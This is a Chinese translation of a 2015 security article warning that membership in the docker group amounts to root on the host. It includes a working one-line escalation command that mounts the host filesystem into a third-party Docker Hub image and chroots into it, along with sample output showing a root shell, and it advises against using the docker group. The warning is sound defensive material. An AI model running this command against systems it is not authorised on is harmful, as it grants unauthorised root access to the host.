本文讲的是Docker 安全:通过 Docker 提升权限,【编者的话】本文的目的在于提醒大家注意 Docker 的安全性。本文中所有的内容总结成一句话:某个用户被加入了
docker
用户组,那么这个用户相当于直接获得了宿主机免认证的 root
权限。本文中的情况出现的情况比较苛刻,所以大家可以把这篇文章当做一个 warning
问不是 error
。
文章太长不要看,一句话,不要用
docker
用户组。如果你对 Docker 不熟悉的话,简单来说,Docker 是一个轻量级的应用容器。和常见的虚拟机类似,但是和虚拟机相比,资源消耗更低。并且,使用和
GitHub
类似的被 commit
的容器,非常容易就能实现容器内指定运行环境中的应用打包和部署。问题
如果你有服务器上一个普通用户的账号,如果这个用户被加入了docker
用户组,那么你很容易就能获得宿主机的 root
权限。黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
输出如下:
johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease [...] You should now have a root shell on the host OS Press Ctrl-D to exit the docker instance / shell
whoami
root #此处是容器内部,但是容器已经 chroot /hostOS,所以相当于直接获取了宿主机的 root 权限。 #译者一直以为是 Ctrl-D 之后,宿主机的shell
变成root
,实际上不是。
咨询了作者 Chris Foster 得知,是在容器内获得宿主机的root
权限。
是不是想起了以前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了chmod +s
?
解释
当然,所有的解释汇成一句话,应该就是:docker
组内用户执行命令的时候会自动在所有命令前添加 sudo
。因为设计或者其他的原因,Docker 给予所有 docker
组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。默认情况下,Docker 软件包是会默认添加一个
docker
用户组的。Docker 守护进程会允许 root 用户和 docker
组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root
权限差别不大。解决方案
对于 Docker 来说可能很难修复,因为涉及到他们的架构问题,所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用docker
用户组。当然,Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root
权限差别不大”是什么意思。Docker 官方也意识到了这个问题,尽管他们并没有很明显地表明想去修复它。在他们的安全文档中,他们也的确表示
docker
用户组的权限和 root
权限差别不大,并且敬告用户慎重使用。漏洞详情
上面那条命令docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数 -v
将容器外部的目录 /
挂载到容器内部 /hostOS
,并且使用 -i
和 -t
参数进入容器的 shell
。这个容器的启动脚本是
exploit.sh
,主要内容是:chroot 到容器的 /hostOS
(也就是宿主机的 /
),然后获取到宿主机的 root
权限。当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。
本文中所提到的代码托管在 Github,镜像在 Docker Hub。
原文链接:Privilege Escalation via Docker (翻译:SegmentFault社区 审校:魏小红)
=============================================
译者介绍
本文由 SegmentFault 社区 组织翻译。SegmentFault 正在组织翻译更多 Docker 文章,包括:Docker 安全、搭建 Rails 环境、甚至搭建 .NET 环境等,欢迎关注我们。
原文发布时间为:2015-05-27
本文作者:大舒
本文来自云栖社区合作伙伴DockerOne,了解相关信息可以关注DockerOne。
原文标题:Docker 安全:通过 Docker 提升权限